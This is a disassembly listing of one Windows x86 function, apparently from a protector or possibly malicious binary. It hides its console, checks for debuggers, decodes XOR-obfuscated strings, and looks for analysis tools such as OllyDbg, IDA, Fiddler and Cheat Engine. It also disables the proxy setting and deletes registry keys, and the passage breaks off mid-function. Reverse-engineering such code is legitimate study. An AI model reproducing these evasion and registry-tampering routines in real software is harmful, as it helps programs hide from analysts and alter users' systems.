Function at 0x4013d0
Capabilities:
Contain obfuscated stackstrings
Delete registry key
Hide graphical window
Resolve function by parsing pe exports
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
mov eax, dword [0x409018]
xor eax, esp
mov dword [esp + 0xb0], eax
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x401f1d
mov esi, dword [sym.imp.USER32.dll_FindWindowA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp dword [0x40d034], 0
jne 0x401f4f
cmp dword [0x40d01c], 0
jne 0x401f6d
cmp dword [0x40d030], 0
jne 0x401f8b
cmp dword [0x40d014], 0
jne 0x401fa9
cmp dword [0x40d024], 0
jne 0x401fca
cmp dword [0x40d028], 0
jne 0x401feb
cmp dword [0x40d02c], 0
jne 0x40200c
cmp dword [0x40d020], 0
jne 0x40202d
cmp dword [0x40d038], 0
jne 0x40204e
mov ecx, 0xd6
xor eax, eax
lea ebx, [ebx]
mov dl, byte [eax + 0x4063bc]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x4014bd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x16
jl 0x4014a0
lea edi, [esp + 0x1c]
mov byte [esp + 0x32], 0
call fcn.00401060
test eax, eax
jne 0x40206f
mov ecx, 0xa4
mov edi, edi
mov dl, byte [eax + 0x4063e0]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x4014fd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x16
jl 0x4014e0
lea edi, [esp + 0x1c]
mov byte [esp + 0x32], 0
call fcn.00401060
test eax, eax
jne 0x402090
mov ecx, 0x10
mov edi, edi
mov dl, byte [eax + str._jPwq9a]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0xa4], dl
jns 0x401540
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x401520
lea edi, [esp + 0xa4]
mov byte [esp + 0xaf], 0
call fcn.00401060
xor ecx, ecx
mov dword [esp + 0xa4], ecx
mov dword [esp + 0xa8], ecx
mov dword [esp + 0xac], ecx
test eax, eax
jne 0x4020b1
lea edi, [esp + 0x6c]
mov dword [esp + 0x6c], 0x2e447848
mov dword [esp + 0x70], 0x657865
call fcn.00401060
xor ecx, ecx
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x70], ecx
test eax, eax
jne 0x4020d2
mov ecx, 0x9c
lea esp, [esp]
mov dl, byte [eax + 0x406424]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x4015cd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x20
jl 0x4015b0
lea edi, [esp + 0x1c]
mov byte [esp + 0x3c], 0
call fcn.00401060
test eax, eax
jne 0x4020f3
mov ecx, 0x9b
mov edi, edi
mov dl, byte [eax + 0x406454]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x74], dl
jns 0x40160d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xd
jl 0x4015f0
lea edi, [esp + 0x74]
mov byte [esp + 0x81], 0
call fcn.00401060
xor ecx, ecx
mov dword [esp + 0x74], ecx
mov dword [esp + 0x78], ecx
mov dword [esp + 0x7c], ecx
mov word [esp + 0x80], cx
test eax, eax
jne 0x402114
mov ecx, 0xe8
mov dl, byte [eax + 0x406470]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x8c], dl
jns 0x401667
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x401647
lea edi, [esp + 0x8c]
mov byte [esp + 0x97], 0
call fcn.00401060
xor ecx, ecx
mov dword [esp + 0x8c], ecx
mov dword [esp + 0x90], ecx
mov dword [esp + 0x94], ecx
test eax, eax
jne 0x402135
lea edi, [esp + 0x60]
mov dword [esp + 0x60], 0x36616469
mov dword [esp + 0x64], 0x78652e34
mov word [esp + 0x68], 0x65
call fcn.00401060
xor ecx, ecx
mov dword [esp + 0x60], ecx
mov dword [esp + 0x64], ecx
mov word [esp + 0x68], cx
test eax, eax
jne 0x402156
mov ecx, 0x40
lea esp, [esp]
mov dl, byte [eax + 0x406498]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x98], dl
jns 0x401700
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x4016e0
lea edi, [esp + 0x98]
mov byte [esp + 0xa3], 0
call fcn.00401060
xor ecx, ecx
mov dword [esp + 0x98], ecx
mov dword [esp + 0x9c], ecx
mov dword [esp + 0xa0], ecx
test eax, eax
jne 0x402177
mov ecx, 0x5b
mov edi, edi
mov dl, byte [eax + str._9:___t]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0xb0], dl
jns 0x401760
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xb
jl 0x401740
lea edi, [esp + 0xb0]
mov byte [esp + 0xbb], 0
call fcn.00401060
xor ecx, ecx
mov dword [esp + 0xb0], ecx
mov dword [esp + 0xb4], ecx
mov dword [esp + 0xb8], ecx
test eax, eax
jne 0x402198
mov ecx, 0xa0
mov edi, edi
mov dl, byte [eax + 0x4064d0]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x4017bd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x20
jl 0x4017a0
lea edi, [esp + 0x1c]
mov byte [esp + 0x3c], 0
call fcn.00401060
test eax, eax
jne 0x4021b9
mov byte [esp + 0x5e], al
lea eax, [esp + 0x58]
push eax
push 0
mov dword [esp + 0x60], 0x64343678
mov word [esp + 0x64], 0x6762
call esi
xor ecx, ecx
mov dword [esp + 0x58], ecx
mov word [esp + 0x5c], cx
mov byte [esp + 0x5e], cl
test eax, eax
jne 0x4021da
mov ecx, 0x4f
mov dl, byte [eax + str._32dgycby_56]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0xc], dl
jns 0x40182e
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0xc
jl 0x401811
lea eax, [esp + 0xc]
push eax
mov byte [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xor ecx, ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov byte [esp + 0x18], cl
test eax, eax
jne 0x4021fb
mov ecx, 0xf7
mov dl, byte [eax + 0x40651c]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401880
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x3b
jl 0x401863
push 0x40d00c
push 0xf003f
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x6b], 0
call ebx
test eax, eax
setne al
test al, al
jne 0x40221c
mov ecx, dword [0x40d00c]
push 4
push 0x40d010
push 4
push 0
push str.ProxyEnable
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402322
mov ecx, 0x19
lea ebx, [ebx]
mov dl, byte [eax + str.JU_HJ_MeaOEVUB_uLBHIBJBPBC]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x4018fd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x4018e0
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x4b], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402350
mov ecx, 0xfa
xor eax, eax
mov dl, byte [eax + 0x406628]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401951
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x2d
jl 0x401934
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x5d], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x40241f
mov ecx, 0xf
xor eax, eax
jmp 0x401990
mov dl, byte [eax + str._WFDUGSK_uhoxmCh_p]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x4019ad
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x19
jl 0x401990
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x49], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x4024dc
mov ecx, 0x64
xor eax, eax
mov dl, byte [eax + str.7_3__8.0.]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401a01
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x19
jl 0x4019e4
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x49], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x4025c7
mov ecx, 0x18
xor eax, eax
jmp 0x401a40
mov dl, byte [eax + str.KvoklzlK_VJUHN_vmEIJCUC]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401a5d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x23
jl 0x401a40
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000002
mov byte [esp + 0x53], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402697
mov ecx, 0xcc
xor eax, eax
mov dl, byte [eax + 0x4066d4]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401ab1
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1b
jl 0x401a94
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x4b], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x40276e
mov ecx, 0xfb
xor eax, eax
jmp 0x401af0
mov dl, byte [eax + 0x4066f8]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401b0d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x23
jl 0x401af0
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x53], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402837
mov ecx, 0xf4
xor eax, eax
mov dl, byte [eax + 0x406724]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401b61
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x25
jl 0x401b44
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x55], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402914
mov ecx, 0xb1
xor eax, eax
jmp 0x401ba0
mov dl, byte [eax + 0x406754]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401bbd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x14
jl 0x401ba0
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000002
mov byte [esp + 0x44], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x4029f0
mov ecx, 0x70
xor eax, eax
mov dl, byte [eax + 0x406774]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401c11
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x22
jl 0x401bf4
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000002
mov byte [esp + 0x52], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402acd
mov ecx, 0xea
xor eax, eax
jmp 0x401c50
mov dl, byte [eax + 0x4067a0]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401c6d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x28
jl 0x401c50
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000002
mov byte [esp + 0x58], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402b88
mov ecx, 0xb1
xor eax, eax
mov dl, byte [eax + 0x406754]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401cc1
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x14
jl 0x401ca4
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x44], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402c4b
mov ecx, 0x70
xor eax, eax
jmp 0x401d00
mov dl, byte [eax + 0x406774]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401d1d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x22
jl 0x401d00
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x52], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402d28
mov ecx, 0xea
xor eax, eax
mov dl, byte [eax + 0x4067a0]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401d71
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x28
jl 0x401d54
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x58], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402de3
mov ecx, 0x90
xor eax, eax
jmp 0x401db0
mov dl, byte [eax + 0x4067ec]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401dcd
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1c
jl 0x401db0
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x4c], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402ea6
mov ecx, 0xb7
xor eax, eax
mov dl, byte [eax + 0x406818]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401e21
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1d
jl 0x401e04
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000001
mov byte [esp + 0x4d], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x402f79
mov ecx, 0x90
xor eax, eax
jmp 0x401e60
mov dl, byte [eax + 0x4067ec]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401e7d
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1c
jl 0x401e60
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000002
mov byte [esp + 0x4c], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x403047
mov ecx, 0xb7
xor eax, eax
mov dl, byte [eax + 0x406818]
xor dl, cl
inc ecx
and ecx, 0x800000ff
mov byte [esp + eax + 0x1c], dl
jns 0x401ed1
dec ecx
or ecx, 0xffffff00
inc ecx
inc eax
cmp eax, 0x1d
jl 0x401eb4
push 0x40d00c
push 0x20019
push 0
lea eax, [esp + 0x28]
push eax
push 0x80000002
mov byte [esp + 0x4d], 0
call ebx
test eax, eax
sete al
test al, al
jne 0x40311a
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x31
call edi
push 0x32
call edi
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40141e
push str.Debug
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
call fcn.004046c0
push eax
call fcn.004012e0
add esp, 4
push 0
call dword [sym.imp.MSVCR100.dll_exit]
push str.Themida
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push 0x406388
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push 0x40638c
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.CE_V2
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Olly
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push 0x4063a0
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid_V2
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.NodeJS
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.IDA_V2
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.CE_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Olly_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.HxD_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Lunar_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Enigma_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Themida_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.IDA_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fiddler_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.regedit_Proc
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.CE_Proc_V2
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push 0x406500
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Modul
call fcn.00401100
mov edi, 0x406368
add esp, 4
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Inet_Config
call fcn.00401100
mov edi, 0x40651c
add esp, 4
sub edi, 0x28f54e6e
lea esi, [esp + 0x1c]
call fcn.00404700
push 0x3c
lea ecx, [esp + 0x20]
push 0
push ecx
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x40d00c
push 0xf003f
push 0
push esi
push 0x80000001
call ebx
test eax, eax
je 0x4022af
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push edx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Gagal_membuka_kunci_registri._Error_code:
push eax
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [esp + 0xbc]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00404c40
mov esp, ebp
pop ebp
ret 0x10
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x4022dd
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x4022fa
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Proxy
call fcn.00401100
mov ecx, dword [0x40d00c]
add esp, 4
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid_1
call fcn.00401100
mov edi, str.JU_HJ_MeaOEVUB_uLBHIBJBPBC
add esp, 4
sub edi, 0x753b5953
lea esi, [esp + 0x1c]
call fcn.00404740
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000001
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x4023da
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x4023f7
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid_2
call fcn.00401100
add esp, 4
mov edi, 0x5760eea4
lea esi, [esp + 0x1c]
call fcn.00404780
push 0x2e
lea ecx, [esp + 0x20]
push 0
push ecx
mov esi, eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x40d00c
push 0xf003f
push 0
push esi
push 0x80000001
call ebx
test eax, eax
jne 0x402268
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push ecx
test eax, eax
jne 0x402497
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push str.Kunci_registri_berhasil_dihapus.
push edx
call fcn.00404470
add esp, 0xc
jmp 0x4024b4
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push eax
push str.Gagal_menghapus_kunci_registri._Error_code:
push edx
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov eax, dword [0x40d00c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid_3
call fcn.00401100
mov edi, str._WFDUGSK_uhoxmCh_p
add esp, 4
sub edi, 0x678abf98
lea esi, [esp + 0x1c]
call fcn.004047c0
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000001
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov word [esp + 0x48], ax
call ebx
test eax, eax
je 0x40254e
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push ecx
push eax
push str.Gagal_membuka_kunci_registri._Error_code:
push edx
jmp 0x40227b
push esi
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x40257b
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.Kunci_registri_berhasil_dihapus.
push ecx
call fcn.00404470
add esp, 0xc
jmp 0x40259e
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push edx
push eax
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push str.Gagal_menghapus_kunci_registri._Error_code:
push eax
call fcn.00404470
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [0x40d00c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, 0x406368
sub edi, 0x46a63044
lea esi, [esp + 0xc]
jmp 0x401f39
push str.Fid_4
call fcn.00401100
mov edi, str.7_3__8.0.
add esp, 4
sub edi, 0x46920413
lea esi, [esp + 0x1c]
call fcn.00404800
push 0x40d00c
mov esi, eax
xor eax, eax
push 0xf003f
push eax
push esi
push 0x80000001
